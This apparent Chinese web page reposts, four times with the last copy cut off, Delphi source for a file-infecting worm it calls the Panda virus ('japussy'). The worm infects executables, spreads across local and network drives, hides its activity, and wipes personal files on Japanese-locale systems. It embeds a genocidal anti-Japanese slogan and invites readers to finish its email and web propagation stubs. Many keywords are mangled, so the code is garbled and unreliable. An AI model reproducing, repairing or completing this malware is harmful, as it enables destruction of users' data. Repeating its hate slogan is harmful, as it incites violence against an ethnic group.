病毒什么樣子?什么顏色?幾個嘴?
下面是熊貓病毒的核心代碼,就是幾個英文字母的集合
program japussy;
us
windows, sysutils, class, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconofft = $12eb8; //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
{
headersize = 38912; //upx壓縮過病毒體的大小
iconofft = $92bc; //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744字節
icontail = iconofft + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記
//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerrviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = fal; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := fal;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.ek(sstartpos, 0);
dst.ek(dstartpos, 0);
dst.copyfrom(src, count);
src.ek(scurpos, 0);
dst.ek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.ek(headersize, 0); //跳過頭部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lprerved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_ushowwindow;
si.wshowwindow := state;
si.cbrerved2 := 0;
si.lprerved2 := nil;
end;
{ 發帶毒郵件 }
procedure ndmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := fal;
ispe := fal;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.ek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.ek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744字節),存入流
aicon.releahandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
copystream(hdrstream, 0, dststream, 0, iconofft);
//寫入目前程序的主圖標
copystream(icostream, 22, dststream, iconofft, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.ek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼后刪除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
tfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclo(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盤和網絡盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
archrec: tarchrec;
msg: tmsg;
function isvaliddir(archrec: tarchrec): integer;
begin
if (archrec.attr <> 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 0 //不是目錄
el if (archrec.attr = 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 1 //不是根目錄
el result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, archrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(archrec) = 0 then
begin
fn := path + archrec.name;
ext := upperca(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
el if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將ba64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟愿意完成之?
end
el if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
el if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
el if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
el
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
sleep(200);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, archrec) = 0) then
begin
repeat
if isvaliddir(archrec) = 1 then
subdir.add(archrec.name);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁盤上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁盤列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁盤驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
ndmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerrviceprocess(getcurrentprocessid, 1) //注冊為服務進程
el //winnt
begin
//遠程線程映射到explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
el //已寄生于宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
病毒什么樣子?什么顏色?幾個嘴?
下面是熊貓病毒的核心代碼,就是幾個英文字母的集合
program japussy;
us
windows, sysutils, class, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconofft = $12eb8; //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
{
headersize = 38912; //upx壓縮過病毒體的大小
iconofft = $92bc; //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744字節
icontail = iconofft + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記
//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerrviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = fal; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := fal;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.ek(sstartpos, 0);
dst.ek(dstartpos, 0);
dst.copyfrom(src, count);
src.ek(scurpos, 0);
dst.ek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.ek(headersize, 0); //跳過頭部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lprerved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_ushowwindow;
si.wshowwindow := state;
si.cbrerved2 := 0;
si.lprerved2 := nil;
end;
{ 發帶毒郵件 }
procedure ndmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := fal;
ispe := fal;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.ek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.ek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744字節),存入流
aicon.releahandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
copystream(hdrstream, 0, dststream, 0, iconofft);
//寫入目前程序的主圖標
copystream(icostream, 22, dststream, iconofft, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.ek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼后刪除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
tfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclo(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盤和網絡盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
archrec: tarchrec;
msg: tmsg;
function isvaliddir(archrec: tarchrec): integer;
begin
if (archrec.attr <> 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 0 //不是目錄
el if (archrec.attr = 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 1 //不是根目錄
el result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, archrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(archrec) = 0 then
begin
fn := path + archrec.name;
ext := upperca(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
el if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將ba64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟愿意完成之?
end
el if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
el if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
el if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
el
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
sleep(200);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, archrec) = 0) then
begin
repeat
if isvaliddir(archrec) = 1 then
subdir.add(archrec.name);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁盤上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁盤列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁盤驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
ndmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerrviceprocess(getcurrentprocessid, 1) //注冊為服務進程
el //winnt
begin
//遠程線程映射到explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
el //已寄生于宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
病毒什么樣子?什么顏色?幾個嘴?
下面是熊貓病毒的核心代碼,就是幾個英文字母的集合
program japussy;
us
windows, sysutils, class, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconofft = $12eb8; //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
{
headersize = 38912; //upx壓縮過病毒體的大小
iconofft = $92bc; //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744字節
icontail = iconofft + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記
//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerrviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = fal; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := fal;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.ek(sstartpos, 0);
dst.ek(dstartpos, 0);
dst.copyfrom(src, count);
src.ek(scurpos, 0);
dst.ek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.ek(headersize, 0); //跳過頭部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lprerved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_ushowwindow;
si.wshowwindow := state;
si.cbrerved2 := 0;
si.lprerved2 := nil;
end;
{ 發帶毒郵件 }
procedure ndmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := fal;
ispe := fal;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.ek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.ek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染過了或不是pe文件則退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主圖標(744字節),存入流
aicon.releahandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//頭文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//寫入病毒體主圖標之前的數據
copystream(hdrstream, 0, dststream, 0, iconofft);
//寫入目前程序的主圖標
copystream(icostream, 22, dststream, iconofft, iconsize);
//寫入病毒體主圖標到病毒體尾部之間的數據
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//寫入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//寫入已感染的標記
dststream.ek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替換宿主文件
dststream.free;
end;
except;
end;
end;
{ 將目標文件寫入垃圾碼后刪除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
tfileattributes(pchar(filename), 0); //去掉只讀屬性
filehandle := fileopen(filename, fmopenwrite); //打開文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //寫入垃圾碼的隨機次數
if max < 5 then
max := 5;
mass := size div max; //每個間隔塊的大小
len := length(catchword);
while i < max do
begin
fileek(filehandle, i * mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclo(filehandle); //關閉文件
end;
deletefile(pchar(filename)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盤和網絡盤
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
archrec: tarchrec;
msg: tmsg;
function isvaliddir(archrec: tarchrec): integer;
begin
if (archrec.attr <> 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 0 //不是目錄
el if (archrec.attr = 16) and (archrec.name <> '.') and
(archrec.name <> '..') then
result := 1 //不是根目錄
el result := 2; //是根目錄
end;
begin
if (findfirst(path + mask, faanyfile, archrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //調整消息隊列,避免引起懷疑
if isvaliddir(archrec) = 0 then
begin
fn := path + archrec.name;
ext := upperca(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可執行文件
end
el if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件,將ba64編碼后的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟愿意完成之?
end
el if ext = '.wab' then //outlook地址簿文件
begin
//獲取outlook郵件地址
end
el if ext = '.adc' then //foxmail地址自動完成文件
begin
//獲取foxmail郵件地址
end
el if ext = 'ind' then //foxmail地址簿文件
begin
//獲取foxmail郵件地址
end
el
begin
if isjap then //是倭文操作系統
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件后睡眠200毫秒,避免cpu占用率過高引起懷疑
sleep(200);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, archrec) = 0) then
begin
repeat
if isvaliddir(archrec) = 1 then
subdir.add(archrec.name);
until (findnext(archrec) <> 0);
end;
findclo(archrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍歷磁盤上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系統
isjap := true; //去死吧!
driverlist := getdrives; //得到可寫的磁盤列表
len := length(driverlist);
while true do //死循環
begin
for i := len downto 1 do //遍歷每個磁盤驅動器
loopfiles(driverlist + ':\', '*.*'); //感染之
ndmail; //發帶毒郵件
sleep(1000 * 60 * 5); //睡眠5分鐘
end;
end;
{ 主程序開始 }
begin
if iswin9x then //是win9x
registerrviceprocess(getcurrentprocessid, 1) //注冊為服務進程
el //winnt
begin
//遠程線程映射到explorer進程
//哪位兄臺愿意完成之?
end;
//如果是原始病毒體自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和發郵件
el //已寄生于宿主程序上了,開始工作
begin
tmpfile := paramstr(0); //創建臨時文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件,多一個空格
extractfile(tmpfile); //分離之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //創建新進程運行之
infectfiles; //感染和發郵件
end;
end.
病毒什么樣子?什么顏色?幾個嘴?
下面是熊貓病毒的核心代碼,就是幾個英文字母的集合
program japussy;
us
windows, sysutils, class, graphics, shellapi{, registry};
const
headersize = 82432; //病毒體的大小
iconofft = $12eb8; //pe文件主圖標的偏移量
//在我的delphi5 sp1上面編譯得到的大小,其它版本的delphi可能不同
//查找2800000020的十六進制字符串可以找到主圖標的偏移量
{
headersize = 38912; //upx壓縮過病毒體的大小
iconofft = $92bc; //upx壓縮過pe文件主圖標的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主圖標的大小--744字節
icontail = iconofft + iconsize; //pe文件主圖標的尾部
id = $44444444; //感染標記
//垃圾碼,以備寫入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerrviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函數聲明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = fal; //日文操作系統標記
{ 判斷是否為win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := fal;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之間復制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.ek(sstartpos, 0);
dst.ek(dstartpos, 0);
dst.copyfrom(src, count);
src.ek(scurpos, 0);
dst.ek(dcurpos, 0);
end;
{ 將宿主文件從已感染的pe文件中分離出來,以備使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.ek(headersize, 0); //跳過頭部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo結構 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lprerved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_ushowwindow;
si.wshowwindow := state;
si.cbrerved2 := 0;
si.lprerved2 := nil;
end;
{ 發帶毒郵件 }
procedure ndmail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array[0..1] of char;
begin
try //出錯則文件正在被使用,退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己則不感染
exit;
infected := fal;
ispe := fal;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //檢查pe文件頭
begin
srcstream.ek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf[0] = #80) and (buf[1] = #69) then //pe標記
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.ek(-4, sofromend); //檢查感染標記
srcstream.read(iid, 4);
